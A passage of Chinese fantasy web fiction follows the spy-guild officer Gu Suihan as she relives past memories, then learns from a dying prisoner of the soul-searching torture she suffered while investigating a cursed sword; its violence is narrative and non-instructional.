听到“宋帅”两字,姬泠从鼻子里轻轻地哼笑了一声,说不上是悲是嘲:“是啊,我被她关起来用私刑的时候,我也不知道怎么办才好了。”
在场的两人说话时都云淡风轻的,在场围观的顾岁寒却是瞪大了眼。
姬泠背上的伤,难道说是宋酿下的手!
可是,她俩往日无冤近日无仇的,为什么要下此毒手?
过去的时空中,这俩人不知道顾岁寒心中的惊涛骇浪,仍在旁若无人地聊天。周姑娘打抱不平:“之前您跟我们吩咐过,您不在的时候一切事务听从宋帅的指挥,所以您失踪那两天,我们还都以为您是被宋帅派去做什么重要之事了呢,结果,结果……”
“这有什么好解释的,我都知道。”姬泠失笑。周姑娘没有接她的话,屋子里安静了下来,只有药刀刮在药罐上轻轻的摩-擦声。过了一会,药上好了,周姑娘回身过去找止血生肉的符咒,姬泠却忽然出声:“喂,我问你个事,你如实说就好……那个,当初我带着伤回阁里的时候,跟你们说是宋酿为了萧凌飞的事情报复我才动的手,你们……真的都信了吗?”
周姑娘回过身来,似乎很惊讶她会问出这样的问题:“听说的时候确实很震惊吧,但是为什么会不信呢?”
“我……”姬泠似乎遇到了什么难以启齿的事,反复斟酌之后才开口,“宋酿……她积威在前,我以为你们都会相信她。”
“怎么会,”周姑娘咯咯笑了起来,“侍棋,你最近两天怎么总在纠结这种事情。宋帅确实是我们心目中的英雄啊,可是那也离我们太遥远了吧,虽然她就驻军在城外,可我就远远看过她三两次。可您几乎与我们朝夕相处了,教导我们、陪伴我们的恩情我们都看在眼里,再怎么说我们都会更信任您呀。”
听到她这么说,姬泠似乎微微放下心来,但还是忧心忡忡地嘱托:“我跟你们说的宋帅的事,你们记得不要往外传啊,毕竟这件事在我心里也没有定论,万一这其中真有什么我误会宋帅的地方,传出去了对宋帅清誉有损就不好了。”
周姑娘找到了符咒,往她身上一拍,随后收拾好东西往外走:“我们都知道的,侍棋您就放心吧。”
周姑娘出去之后,姬泠在小几上又发了会呆,才去柜子里翻出新的中衣穿好,把外袍草草披上。至于那轻甲,她看了两眼,可能还是觉得压伤口,放在地上没穿。她拢着衣服下床,走到帘子旁边:“喂,周瑛……”
看样子,周瑛应该是那姑娘的大名。可后面的话还没出口,外面忽然传来了窃窃私语声,听声音应该是周瑛跟刚刚那个假大爷。姬泠猛得住了嘴,就听见那两人的声音隔着门帘清晰地传了过来。
那假大爷说:“喂,你说,宋帅那边到底是怎么回事?”
周瑛道:“谁知道呢,侍棋说大帅是因为北三皇子被杀一事才对她下的手,可是……北三皇子为什么想不开要对侍棋动手呢?
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就算是他想逃走好了,以侍棋的武功,制服北三皇子绰绰有余了,为什么北三皇子会丧命呢?”
假大爷不甚赞同:“侍棋不是跟咱们说,北三皇子是自己撞上去的吗?”
周瑛:“瞎,这话你也信呢!北三皇子那种人咱们都知道,有功就上,平时就是一个贪生怕死的懦夫,哪有自戕的勇气?”
假大爷也顺着猜测:“会不会是侍棋早就知道宋帅倾心萧凌飞,所以故意杀了萧凌飞报复?”
周瑛却是不敢继续说了:“这可是你说的,我才没这么猜。执棋还在里头呢,你小心被她听去了。”
假大爷“喂”了一声:“周瑛,你这就不地道了吧!”
周瑛挥了挥手:“算了,这些头头之间的事,咱们乱猜什么?听命办事算了,在落棋阁本来就容易没命……”
两人渐渐走远了,声音也模糊不清起来。顾岁寒看着姬泠在原地呆呆地站着,良久,也不知是悲是喜地笑了一声。
“酿姐,”她喃喃地说,“我们都那么崇拜你,我因为你才来的青州……可是,你为什么要这么做呢?”
她看着房梁,微不可查地叹了口气:“酿姐……你在哪呢?”
明明身处两个时空,并没有实际上的交集,多年之后的顾岁寒却神奇地领会到了姬泠的心境。
被自己全心信任的主帅因为令人难以置信的原因伤害了,而这个原因别人都不相信——理想的高塔骤然崩塌,却只将自己内心的地基砸得面目全非。
她的朋友觉得她在胡言乱语,她的下属不明所以,只能暂时奉承。
没有人相信那位传奇的女将会因为一个敌国不受宠的质子而伤害自己的下属,背叛自己的国家,连这个下属自己都心怀质疑。
其实按照蒋奚的说法,宋酿失踪一事至今都是悬案——落棋阁没有找到她的下落,但她也很可能并不如同民间传说的那样,为了萧凌飞叛国投敌。具体的证据就是,宋酿对大盛北部三州的布防可谓是了如指掌,假如她真的投敌了,那之后两国之间的几次交锋,北周就不应该打得那样吃力,最后也没讨到什么好处。
特别是十八年秋天宋酿刚刚失踪时的那一战,当时宋安澜埋伏北邙山下奇袭北周军的点子其实是去年冬天的时候就已经有了的。当时姬泠随斥候出去巡查时发现了这处天然形成的雪窝子,正好可以用于埋伏在这条北周军常用的行军道上,便将消息带回给了宋酿。那之后宋酿、宋安澜又去实地探查一番,发现确实可行。只是那年冬天是个异常的暖冬,雪积了不到半个月就化了,这个计划就没能成行。
但是十八年深秋的时候那里的雪窝子已经成形了,假如宋酿真投靠了北周,她不可能不提醒邓飞英注意那个绝佳的埋伏点。
但这时候的姬泠还不知道。顾岁寒瞧着她,只在她身上看到了一种深深的迷茫。
但很快,她看上去就整理好了心情,将门打开迎着风走了出去。顾岁寒一边想着宋酿的事,一边无意识地跟上了她,谁知一只脚刚跨过门槛,一阵熟悉的晕眩就当头袭来,她又坠入了一片无边的黑暗中。
“嗯……侍棋?请问你是顾侍棋吗?”
模模糊糊中,她好像听见有人在喊自己。
她……是回到现世了吗?
不,不对。她猛得睁开了眼,迎上了蒋奚有些疑惑与不确定的目光。
但这时候的蒋奚很明显比她所熟知的那个青涩一些,身上穿的也是普通白棋的制服。见她醒过来,蒋奚松了一口气:“我……我一进来就看见您睡着,又带着面具,我都不太敢认您了……您是顾侍棋吧?”
“顾岁寒”抬起了手,摘下了脸上蒙着的黑布。这时,顾岁寒才意识到这次有什么不对——
在前两次时空中,她一直是以旁观者的身份参与整个故事,那个时空中原本的人也感受不到她的存在;但是这次不一样,她不仅拥有了实体,而且好像附在了“她自己”的身上!
11. 唐多令 四
但在“她自己”的身上,她反而失去了自由行动的权力。她看着“自己”将黑布放到了一边,疲惫地问蒋奚;“东西都准备好了吗?”
蒋奚看起来激动得快要蹦起来了,手忙脚乱地递过来了一卷黑布:“准……准备好了!您看看还缺什么吗?缺什么我马上去取!”
“顾岁寒”将黑布接了过来,展开查验了一番。那黑布里是各式薄如蝉翼的暗器,她随手拿出了一把柳叶刀,在指间滚了一圈,锋刃上那一线银光汇作一道绚烂的光弧,叫蒋奚几乎看呆了。
看样子她自己对这卷布里的东西还是很满意的,试完之后就撩开了袖子,护腕似的绑在了小臂上,然后顺手把衣袖拉回去妥帖地盖住。在她自己身体里的顾岁寒顺着“自己”的目光看过去,忽然发现自己穿的竟然是黑棋的衣服。
另一边,“顾岁寒”吩咐蒋奚:“你再帮我拿两把齿间刃吧。此去北疆正值寒冷之际,长时间蹲守的话齿间刃更方便。”
北疆,黑棋的衣服……刹那间所有物品在顾岁寒脑中连成一线,她意识到,自己正是回到了潜入归雁台雁主身边偷回碎曦剑的那几天。
齿间刃顾岁寒醒来之后也见过,其实就是刃宽一些的匕首,刀背上多加了一块楔合的木头,供黑棋在出任务的时候叼着刀,手上就多出来了空间,方便行动。
小蒋奚点头如啄米,飞快地跑出去了,没过一会又噔噔噔回来,递上了两把齿间刃。这次“顾岁寒”没有试刀,只是简单查看了一下,就收进腰带上空着的刀槽里。
随后她和依依不舍的蒋奚告了别,转身开门出去了。蒋奚看起来还不太放心似的,在后面亦步亦趋地跟着:“侍棋是要用传送阵吗?嗯……自打之前沈贼千里偷袭阁中,传送阵就已经封了,如今再用需要新的阵诀了,侍棋知道吗?”
“顾岁寒”的心情似乎不是很好,只是很简短地回答:“嗯,我知道。你先回吧。”
“哦……”蒋奚跟霜打的茄子一样蔫了下来,“那……侍棋保重,我们都等着侍棋凯旋归来。”
“顾岁寒”没回答,径直走了。后世的顾岁寒在她的身体里,用她的视角看不到蒋奚的表情,但用脚后跟都知道蒋奚该有多么垂头丧气。
“我以前这么拒人千里之外的吗?”顾岁寒感慨,“亏得蒋奚一直小跟班似的追着我,能一直坚持下来也太有毅力了吧。”
与此同时,现世中,“小跟班”蒋奚忽然感觉鼻子一痒,本来想偏头打个喷嚏的,一扭头就看见了风风火火赶来的宋安澜,又硬生生把喷嚏憋回去了:“……问镇北王安好。”
本来半闭着眼,并指探顾岁寒眉心的谢停舟听见了,也撤回了自己探入顾岁寒内府的真元,睁眼拱手行礼。可话还没出口,宋安澜就已经走到了面前,抬手打掉了他抬了一半的手:“少扯那些虚礼,梅臣到底怎么了?”
蒋奚对此道也是一知半解,只好将目光投向了谢停舟。没想到谢停舟也是一副不太确定的样子,先是简要把自己和顾岁寒两人用招阴符事从头叙述了一番,最后才犹豫道:“执棋阁下或许是重伤刚醒不久,魂魄不太稳定,所以被招阴符冲撞了一下,或许过一段时间就会自行醒来,殿下无须担心。”
“魂魄不稳?”宋安澜捕捉到了关键词,疑道,“梅臣虽然受伤比较重,但之前检查过了,基本都是外伤,连修为都没什么折损,为什么会魂魄不稳?”
谢停舟耐心解释:“魂魄和修为虽然都不显于外,但并不可混为一谈。假若以酿米酒为例,魂魄就好比糯米,修为就好比酒液,没有了米,再好的泉水也无法酿出甘美的酒;但假若在酿好酒之后将酒缸里积的米挖走,一时半会是尝不出酒液味道的改变的……”
“行行行,我大概听明白了,”宋安澜挥了挥手,打断了谢停舟,“你就直接说吧,梅臣这魂魄不稳应当怎样才能根治。”
“恕在下才疏学浅,魂魄天生地养,古今圣人少有能将魂魄一物探究明了的。”谢停舟摇了摇头,“在下看来,执棋的魂魄目前只能静养。此外,殿下,魂魄是人之精气的承载,或许执棋失忆一事也与魂魄动荡不无关联,或许殿下应在此事上多上心。”
宋安澜上下扫视了他两眼,目光里赤-裸-裸的探究几乎藏不住。谢停舟就安然站在原地,不躲不避地任她看。最后也不知道宋安澜看出了什么,只听得她从鼻子里轻轻哼了一声,对他之前说的话不置可否,反而另起了一个话题:“阿泠一案,你多上心。梅臣的病也是,我回头再找两个太医来协助你,务必要把梅臣的病养到大好。我还有朝中的事要处理,先回了。”
说罢没等谢停舟行礼,她又转身风风火火地走了。全程在旁边看热闹的蒋奚“额”了一声:“谢侍棋,我怎么感觉殿下好像不是很待见你。”
谢停舟垂着眼睛,思绪不知飘到了何方:“……或许,殿下是吃醋了。”
蒋奚瞪大了眼睛:“哈?”
谢停舟解释道:“我与阿……姬执棋订婚前,执棋是殿下一人的军师,两人平时都形影不离,或许我与她订婚之后,执棋和殿下之间相处时间不如以往长?”
蒋奚心说这也太扯了,正想开口时余光中忽然看到了躺在床上的顾岁寒,惊呼道:“等等,侍棋,你看执棋的脸怎么突然这么苍白?”
谢停舟走到床边,俯下身来细看。顾岁寒不止是脸色苍白,身体也开始细细地发-抖,仿佛身处严寒中似的。谢停舟伸手试了试她的额头,也没试出发热,不由得困惑地拧紧了眉头。
而被困在“自己”身上的顾岁寒,确实正在跟着自己的身体轻轻发-抖。
用了新的阵诀之后,顾岁寒就跟着到了一处新地方。根据她对地貌比较有限的记忆,她似乎已经到了大结界的北面。
再往前走的时候顾岁寒反身朝南面拜了拜,她听见自己在心里默念——
“阿爸,阿妈,女儿此去凶险万分,倘若你们在天有灵,就保佑女儿能成功取回碎曦剑,不要再让这凶剑取走更多人的性命了。”
顾岁寒其实对自己的父母记忆已经很模糊了,只记得他们一家似乎曾经也是青州的名门望族,但道魔妖多年混战,百姓流离失所,再辉煌的望族也是烽烟下的一捧飞灰。
她很小的时候,家人就应该都亡于战火中了。似乎是一个老仆拼死将她送到了前线军中的姑姑,也就是姬泠母亲的家中,她才
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得以平安长大至今。
但那个小小的避风港也没能容纳她很久,姬泠父母殉阵之后,她就跟着姬泠来到了宫中,勉勉强强蹭了一个忠烈之后的名头,跟着姬泠兄妹几人一同在学堂进学,不久之后就被张首晟领去了落棋阁。
而如今,顾岁寒听着自己那时的心声,不禁有些茫然。
原来那时候的自己,走到生死的边缘时,也会下意识地回望养育自己的那个襁褓吗?
即使那个襁褓已经在记忆中淡去,那种精神上的归属和依赖也是一直存在的吗?
但从前的“自己”似乎并没有想那么深刻。拜别了青州之后,她就像一尾灵活的游鱼,悄悄潜过了两军交战的前线,跟那边的落棋阁白棋接上了头。简要交换了沈和□□上的一些信息之后,当天夜里,顾岁寒就蹲在了沈和正的临时府邸的树上。
沈和正是落棋阁人口口相传的硬骨头,据说至今都没有能在他身边潜伏三个时辰以上。落棋阁的前身棋部曾有一位黑棋大拿想刺杀沈和正,但也血溅沈和正三丈之外,未能成功。
顾岁寒以前对沈和正的可怖一直是仅有耳闻未能一见,但如今蹲在他临时落脚处的外墙边的树上,她算是见识到了沈和正那可怕的谨慎的冰山一角——这处小院里的地面上密密地绘着阵法,整个院子里静的可怕,只有沈和正偶尔的脚步声。
顾岁寒毫不怀疑,自己哪怕是有一根毫毛碰到了地上,都会引起阵法主人的注意。看样子过去的“顾岁寒”也是这么想的。这具身体叼着一把齿间刃,呼吸被压得刻意绵而长,瘦削的身体尽量贴在树干上,远远望去跟树叶的阴影浑然一体。
“顾岁寒”就在那里蹲了足足三个时辰,从天刚刚摸黑蹲到了月上梢头,期间整个人一动没动,要不是顾岁寒能隐隐约约听见一些自己心里的谋划,她简直要怀疑过去的自己已经蹲成了一块石头。
听“自己”的意思,她似乎是打算等沈和正入睡之后进屋内探查一番,但顾岁寒却不这么想。
“这也太冒险了,”她心说,“以沈和正的的谨慎,进屋探查多半要被发现,到时候肯定会被抓现行的。”
“的确很冒险,”顾岁寒听见“自己”的心声这样说道,吓了她一激灵,差点以为自己的存在被过去的自己发现了。但紧接着她就发现这不过是“自己”也在想同一件事,因为“自己”自顾自地接着往下想,“但是没有别的办法了……赌一把吧。据说沈和正喜欢把重要的东西放到自己的客房里,算是一个怪癖,试一把总归不吃亏……谁!”
顾岁寒被“自己”突然加大的心声吓了一-大跳。视角突然旋转,“顾岁寒”似乎是听到了什么可疑的动静,转头向后看了过去。但是现在的顾岁寒还没来得及看清,忽然感觉“自己”的嘴里一轻,一声清脆的金属撞地响声从右后方传来——
她感觉自己被人用闷棍敲了后脑勺似的,眼前猛得一黑,意识也从过去的自己身上脱离了出来,飞向了高空,随后又狠狠摔向了地面。她猛得睁开双眼,迎着还没来得及直起身的谢停舟惊愕的目光,忍着耳边疯狂的耳鸣,脱口而出:
“是齿间刃!她——我——我的齿间刃掉到了地上!”
12. 唐多令 五
话出口的刹那,顾岁寒看清了在场的人,就意识到自己恐怕惊愕之下说错了话。当初递给她齿间刃的蒋奚也在场,假若那齿间刃当真有问题,蒋奚很有可能脱不开嫌疑。她如今把话先说出来了,可谓是打草惊蛇。
但蒋奚的表情同不知内情的谢停舟一样茫然:“什,什么齿间刃?”
那迷茫的表情毫无破绽,假若她是装的,那这演技未免太高超了。顾岁寒看着她的眼睛,一时之间心中千头万绪闪过,最终归为了一句:“……我去偷回碎曦剑之前,从阁里出发的那一天,你没递给我两把齿间刃吗?”
蒋奚更摸不着头脑了:“……什么递给您?您出发去青州边疆时,阁里没有人送您呀。那时候我应该在休沐呢,都回阁里了才听说您走了,还怪可惜的。”
听清话的刹那,顾岁寒如坠冰窟。
那假如蒋奚没说谎,那当时帮她取东西的人是谁?又或是说,她刚刚所经历的一切都只是一场过于真实的幻梦,而并非现实中真正发生过的事?
她定了定神,吩咐蒋奚:“你去帮我取一下我出发前后几天武器库里记录物品进出的册子。”
蒋奚连忙应了声是,领命匆匆离开了。这时一直默默在旁边的谢停舟忽然出声:“执棋刚刚经历什么了?方便和在下说说吗?”
顾岁寒这才想起旁边有个人。她刚刚经历了一场过于奇幻的旅途,急于找人诉说,但想起宋安澜“谢停舟不可信”的叮嘱,她又踌躇了。谢停舟仿佛看出了她心中所想,温声道:“如果执棋不愿意说,那在下也不能强逼,只是宋将军刚刚嘱托在下要好好看顾执棋,在下还是想多了解执棋身上的事。”
顾岁寒疑道:“果真?”
谢停舟笑了。这是醒来后顾岁寒第一次见他如此发自真心的笑容,给人的感觉好像化冻的春水,有一种温和的感染力。他一边笑,一边把手笼进了袖子里,不慌不忙地说:“在下还能在这件事上哄骗执棋不成?执棋和宋将军日夜相处,在下说的话执棋可以直接找将军求证,在下又何必吃力不讨好做出这等诓骗之事呢?”
这话其实说得有道理,方才顾岁寒也只是下意识地问一句,并不是真心有疑,干脆简要把自己在过去时空中这段奇妙的漂游将给了谢停舟听。谢停舟初初听到他与姬泠共论诗经那段还有些耳朵发红,听到后面却是眉头皱得越发深了起来。
直到顾岁寒说完,谢停舟都一直没发话,而是摩挲着手上戴着的那串珠子,一副若有所思的样子。顾岁寒的目光顺着他的动作看了过去,顺口问:“这是佛珠吗?”
谢停舟闻言看了一眼自己的手腕,笑了一下:“不是,就是普通的木头珠子。我平日思索时喜欢盘玩,所以就随身带着了。执棋若是喜欢,改日在下也可以送执棋一串,还希望执棋不嫌粗陋才是。”
顾岁寒只是随口一问,没想到引出了如此长的一串客套话,连连摆手:“不了,我们干这行的手上最好不要带东西,动起来有声音,就不好潜伏了。”
谢停舟闻言微微一愣,疑惑地看了她一眼,但最终还是没说什么,点了点头表示自己明白了。这时蒋奚也把册子拿了回来,顾岁寒接了过去,从头开始翻了翻。这本册子有记录的地方很薄,最早一条记录是从去岁九月底开始的,所以她很快就发现了自己的那一条。
取用的物品写明了是一套随身暗器,两把齿间刃,后面的借用人栏里明明白白地写着顾岁寒自己的名字,笔迹没有问题。
——当初有问题的东西,就是她自己取的。
难道说,刚刚她昏迷后经历的一切,就是她自己的黄粱一梦吗?
顾岁寒愣愣地坐在原地,回忆刚刚的一切,也不禁对自己产生了一丝怀疑。这时候谢停舟倾身过来看了一眼她手中的册子,准确猜出了她心中所想:“执棋是在想刚刚经历的事情是真是幻吗?”
顾岁寒点了点头。蒋奚看上去还在状况之外,但也谨慎地没有出声搅扰。
谢停舟无意识地摸着自己的下巴:“在下倒是认为执棋刚刚见过的一切,很有可能是真实发生过的,证据有二。”
“第一,执棋说自己见到的学堂中的一幕,在下对此也有记忆,执棋所说的与在下所记的几乎一般无二,而且最重要的是,执棋当时送了试题来就走了,后面的故事当时的执棋并没有亲眼见证过,所以执棋刚刚必然是进入了另一个亲眼见证过的人的记忆。”他琥珀色的眼珠定定看着顾岁寒,“我倾向执棋是进入了阿泠的记忆,执棋见到的第二幕也是如此。”
顾岁寒质疑:“可是我为什么会进入姬泠的记忆?”
谢停舟轻轻摇了摇头:“此事在下亦有怀疑,但在下认为这是因为执棋本身魂魄不稳,而当时阿泠的魂魄碎片就在我身边,招阴符作用下阿泠的魂魄与执棋的魂魄相撞,所以才有此效果。”
“至于第二点证据,就是执棋的第三段经历。执棋提到这次执棋被困在了‘自己’的身体里,没有行动的自由,所以我猜测,这是执棋回忆起了自己的部分记忆。”
“至于这段记忆中与现实不一样的部分……”谢停舟转头看向了完全在状况之外的蒋奚,“蒋奚姑娘,你提到执棋出发那天你在休沐,未曾来过落棋阁,可有人证?”
“啊——啊?”蒋奚闻言站直了身子,“有……有的吧,我想想……对了,那天我睡了很长的一觉,睡醒之后拉了几个都是那天休沐的一起在家里打叶子牌来着,还输了不少钱!”
她把一起打牌的几个牌友通通都招了出来。顾岁寒默默记下了名字,准备回头找个空去求证一下。
但假如那天忙前忙后的真的不是蒋奚,那就更可怕了。到底是谁扮作了蒋奚,骗过了所有人的眼睛,出入落棋阁如入无人之境,甚至还留下了以假乱真的签名?
谢停舟想的却是另外一件事:“倘若在下的猜测不错,执棋身陷沈和正手中的那段时间,沈和正或许是对
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执棋动了某种手段,导致执棋的魂魄出现问题,记忆也随之损失……阁里有对类似方法的记载吗?”
顾岁寒自然是几乎全然不记得,就把自己的目光投向了蒋奚。没想到蒋奚思考片刻之后也是摇摇头:“恕属下才疏学浅,并没有听说过类似的方法。不过归雁台有什么手段瞒着我们这边也是正常的,要是能有什么方法捉个归雁台里比较有身份的问问就好了……”
说到这里她和顾岁寒对视上了,两个人都是眼睛一亮:“等等,我们刚捉来的陈筑!我去问问刑司那边,上点咱们的手段问问他!”
说罢她就要往外跑,谢停舟叫住了她:“等等姑娘,我也去。”
蒋奚回头用眼神征询顾岁寒的意见。顾岁寒点了点头,谢停舟冲她感激一笑:“多谢执棋,执棋在此处修养,我们去去就回。”
他的笑容又变回了原先那种礼貌性的标准表情。顾岁寒点了点头示意自己知道了,谢停舟冲她躬身一礼,随后追上蒋奚的步伐匆匆离去。
外面阳关正好,蒋谢二人穿行在柳荫之中,落棋阁的大院里不乏正在练功的未出师的弟子,见到他俩都纷纷停下来行礼。谢停舟匆匆应了,低声问蒋奚:“蒋姑娘,我以前对落棋阁不够了解,咱们的弟子除了要按不同的棋部穿不同的制服之外,还有别的着装上的要求吗?”
“着装上的?”蒋奚顺着他的问题想了想,“嗯……对黑棋要求会严格一些吧,黑棋统一要求束发至顶,不允许佩戴会碰撞出声的首饰;白棋要求就没那么严格,因为白棋更多需要乔装易容、潜伏打探消息嘛,照着自己需要扮演的人的身份上打扮就可以。至于没有任务在阁中赋闲时,白棋怎么装扮一般也没人管,喏。”
她点了点远处一个穿着白棋衣服,梳着高髻的姑娘:“她那种打扮在黑棋中就是绝对不行的,因为不方便练武。”
谢停舟想着之前顾岁寒说的话,含糊地点了点头。蒋奚好奇道:“谢将军怎么突然想起来问这个?”
“啊,没怎么,随口一问。”谢停舟笑了笑,蒋奚也没深究,咯咯笑了起来:“之前我还以为将军查完姬泠执棋的案子就会离开落棋阁呢,没想到现在也打听起来阁里的细务了,难道是要长待下去不成吗?”
谢停舟没搭话,好在蒋奚也没指望着他答,远远一指前面:“那里就是棋牢啦。谢将军也是军中人,应该不怕血腥吧?”
“啊,那是不怕的。”谢停舟伸手作请,“不过在下对此地不熟,姑娘先行。”
他跟着蒋奚的步伐往下走。棋牢是建在地底的,一股阴湿的铁锈味顺着打开的门往上翻。
在彻底没入黑暗前,他回头看了一眼执棋院的方向,不由得回想起了那个和蒲苇一样的执棋。
顾岁寒是白棋出身的,可是她为什么会用黑棋的着装要求来拒绝他呢?
是因为不想要他的东西,还是说……
那是她下意识对自己的要求呢?
13. 清平乐 一
棋牢的最深处,陈筑被扣着双手吊在刑架上。距离他被抓进棋牢不过十二时辰不到,他已经完全脱了相,长发被暗红的血液浸-透,一绺一绺地贴在脸上。看管牢门的黑棋见他俩来,很有眼力见地提前把门打开,躬身请两人进去。
牢门的轻响让刑架上的躯体微微动弹,抬眼看了过来。见是他俩,陈筑“呵呵”地笑了起来,只不过气概再不复以往,胸膛里随着笑,拉风箱似的传出一阵阵杂音。
那黑棋见他笑,猛地一甩鞭子,鞭梢落在他胸膛上,带出一串血花。黑棋喝道:“笑什么笑!都到这步田地了还如此嚣张!”
蒋奚抬手止住那黑棋,冷冷道:“不必浪费时间。陈筑,我就问你一个事。听你被抓时口吻,我们执棋被沈贼捉住羞辱事,你应当在场。那你知不知道,当时归雁台对执棋都动了哪些手段?有没有什么手段,是会让人灵魂损伤的?”
蒋奚刚开始说话时,那陈筑微微睁大了眼,认真听着,听到后面时,他整张脸都扭曲了起来,脸上出现了一种夹杂着快意的扭曲笑容。蒋奚话音刚落,他就嘿然道:“我道是什么,你蒋侍棋纡尊降贵跑来居然是为了问这个!哈哈哈哈,我归雁台对顾岁寒那杂种动的手段就多了去了,我光在旁边看着都忍不住一阵阵手痒。至于你说的那种,我怎么知道,啊——”
他话音没落,就惨叫了一声。没反应过来的蒋奚震惊地看向了谢停舟还没收回来的手——刚刚是就是他夺过了黑棋手里的鞭子挥出了那一鞭。这一鞭的力道不像刚刚黑棋那样只是为了震慑,而是实打实用了力气的,伤痕深可见骨。
在阁里这两天,谢停舟一直彬彬有礼的,几乎让所有人都遗忘了他是一个出入沙场的武将。在陈筑的痛呼声中,谢停舟抬高了嗓音:“问你的话就老实交代,说东说西的干什么?”
蒋奚连忙跟着唱红脸:“又不是什么机密,你瞒着对你们归雁台也无甚好处;你如实说了,我们就能让你少受些苦头,岂不是美事?”
陈筑闻言微微转动眼睛,似乎在心里估量着什么。蒋奚见有戏,趁热打铁道:“你要是说了,我们现在立马就把你从刑架上放下来,如何?这么吊着,你这臂膀也不舒坦吧?”
不知这话戳中了陈筑哪里。他神色松动,似乎回忆了起来:“当时……”
“当时,顾岁寒也是像我这样,被绑在刑架上。她绑了太久啦,偶尔放下来时,胳膊都已经没了知觉,软软地瘫在一边……”
蒋奚的拳头无意识握紧了,面上还是耐心道:“所以?”
“哈哈,我就是随口一提,”微弱的光照在陈筑脸上,他露出一个带着血的微笑,“其实她之前逃出去过一次,就那么一次,碎曦剑就不见了……看守她的那几个都被换走了,好巧不巧,正好换到了我。”
“你是说,执棋她并不是因为取碎曦剑被抓,而是先被抓而后才逃走取剑的?”顾岁寒醒来之后一直语焉不详,所以众人一直按惯性以为顾岁寒先是盗剑被发现,才有了后面的牢狱之灾,没想到真相竟是如此。
蒋奚和谢停舟对视了一眼,陈筑没能察觉到两人之间的暗波汹涌。他似乎已经全然进入了一个陶醉而迷幻的世界:“是啊……你说她,也是真有本事。那牢房每日四班人轮换值守,她怎么逃出去了呢?我听说啊,她逃出去之后,所有人都在找她,最后在存碎曦的密室里找到了。她晕倒在地,碎曦剑不见踪影。主人没有办法,只好将她绑回来审问碎曦的下落。”
“她不肯说。”陈筑又笑起来了,“哈哈哈,她怎么能说呢?主人把能上的手段都上啦,什么都没问出来,最后只好用了搜魂。”
蒋奚皱起了眉头:“什么是搜魂?”
陈筑没出声,倒是谢停舟先解答了:“搜魂是早些年的禁术,就是用自己的神魂进入被搜魂者的内府中,搜刮被搜魂者的记忆。但是这个术法有风险,施术者修为不够的话,双方的魂魄都会因此受损。哪怕施术者是个修为深厚的大人物,搜魂也会对被施术者的神智造成不可逆的损伤。”
蒋奚紧张道:“多大的损伤?”
谢停舟摇头:“我不知道,这只是我从古籍上看到的记载。”
陈筑嘻嘻地笑了起来:“这位公子博学,我是不知道这些的。不过主人施术时,我就在旁边看,那顾岁寒最开始几次还是清醒地说‘我不知道’,后来整个人就痴傻了,只会说‘求求你,杀了我吧,杀了我吧’……”
说后一句话是,他可以掐细了嗓音,学着那时顾岁寒的语气。那声音又细又长,带着苦苦的哀求,在空空荡荡的牢房里回响。蒋奚被生生弄出了一身鸡皮疙瘩,也不顾什么红白脸了,厉声喝道:“放尊重些!阴阳怪气地做什么!”
但这招似乎对陈筑没用了。他张大了嘴开怀大笑,笑得乐不可支,笑得上气不接下气,仿佛遇到了此生最开心的事,那黑棋试图打断了好几次都没有效果。
蒋奚在那尖利的笑声中皱紧了眉头,就当她再也忍耐不了准备让人上刑时,那陈筑忽然像一只被人扼住了咽喉的鸭子,笑也不笑了,只是睁大了眼,两条腿扑腾了起来。蒋奚愣了两秒,忽然反应了过来,大喝:“把他放下来!他要死了!”
但还是晚了。空气中传来一声骨头断裂的清脆“咔嚓”声,陈筑圆瞪着眼,头像一边歪了过去,死时脸上还带着一丝未散尽的笑容,在黑暗的牢狱中显得格外诡异。
那黑棋第一次遇到这样的情况,手足无措地看向了场中两个能主事的:“这……这……侍棋大人,在下绝对没有对他用重刑啊!”
谢停舟沉声:“与你无关,你先下去。”
毕竟无论什么样的刑具都不可能隔空让人断颈而死。那黑棋如蒙大赦,快步走出刑牢,却在刚出门时生生刹住了,结结巴巴道:“执……执棋?您怎么在这
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里?”
蒋奚和谢停舟闻言都转身看向了牢门。顾岁寒从黑暗中转了出来,微笑道:“本来看你们在忙,没打算打扰的。”
她就在门外待着,门里连侍棋带黑棋三个人居然没有一个人发现。
她到底在门外听了多久,听到了多少?这杀千刀的陈筑阴阳怪气在那里模仿她的时候她是不是也听到了?蒋奚背上出了一层冷汗:“执,执棋……”
“哦,我刚刚来。”似乎知道她在担心什么,顾岁寒脸上露出一个无懈可击的笑容,“怎么,有什么是我不能听的吗?这么紧张?”
还是谢停舟先反应了过来:“哦,没什么,这陈筑死前该交代的都交代了,只是他这死状实在是太奇怪了,执棋要来看看吗?”
顾岁寒果然被提起了兴趣,提步走了进来。两人为她让出了一条路,顾岁寒站到了刑架面前,端详着面前的尸身。余下两人屏息凝神,等她得出什么重要结论。结果她上下左右看了半天,只得出一句——
“他……身材挺壮实啊。”
蒋奚大跌眼镜:“执棋!”
“哦,”顾岁寒看她好像误会了,摆了摆手澄清,“不是,我的意思是,刚刚我捏了捏他身上的肉,都很紧实,说明他应该是个有武功功底的人。”
蒋奚想到了什么,表情微微怔松。顾岁寒见她懂了,微笑道:“但是当初咱们在采绣楼捉他时,他可不像是有武功傍身的样子啊。”
蒋奚急忙道:“执棋的意思是,他和之前的不是一人?可是,他一被我俩捉来阁中,就被关进来了啊?”
“我可没这么说,但我觉得这里面有问题。我觉得你要派人去查一查了。”顾岁寒歪头看向蒋奚,蒋奚立马打了鸡血似的站直了身子:“是!”
顾岁寒无奈道:“你别急。我这回来找你们俩,其实是想和你们俩说,黑棋传回来消息,说青州落棋阁传回来线索,有碎曦剑的消息了。”
三人逆着来抬尸体的黑棋们走出了棋牢。天光之下,顾岁寒微微眯起了眼睛。回身看向了背后两人:“青州边境的县城,中琅,最近几日接连有十二人死亡。”
“经仵作查验,这十二人身上都只有一个两寸长的伤口,出血量不足以让人死亡。”她抱起双手,“但是当地捕快反复检验后,都无法确认他们身上是否有碎曦剑的气息。不管按这个描述,十有八-九是碎曦剑无疑。”
蒋奚顿时兴奋起来:“那执棋要去验证吗?”
“我是肯定要去一下的。”说起这个顾岁寒似乎有些疲惫,她并起双指揉了揉眉心,“可是……唉,姬泠的案子我可能就要放一放了。小奚,你——”
她本意是想叫蒋奚从旁协助谢停舟查案,但没想到谢停舟忽然出了声。他的目光灼灼,直视着顾岁寒的眼睛:“我本来就要去青州阿泠殒命之处查探,此去正好与执棋同路,执棋不必叫蒋姑娘为我费心。”
14. 清平乐 二
这话一出,顾岁寒后面的话都不好说了。这是她第一次被这面人似的谢停舟噎一个跟头,滋味还怪新鲜。
